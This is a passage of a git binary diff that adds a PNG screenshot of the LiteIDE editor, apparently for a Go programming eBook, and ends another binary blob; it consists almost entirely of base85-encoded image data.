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 ZBkYI{&Z8y^U%{JbF6muHR_NS{`Y$)J)>Qxi literal 0 HcmV?d00001 diff --git a/en/eBook/images/1.4.liteide.png b/en/eBook/images/1.4.liteide.png new file mode 100644 index 0000000000000000000000000000000000000000..f28d755e52787c65c496f3877fd5ce3080e01fef GIT binary patch literal 137465 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 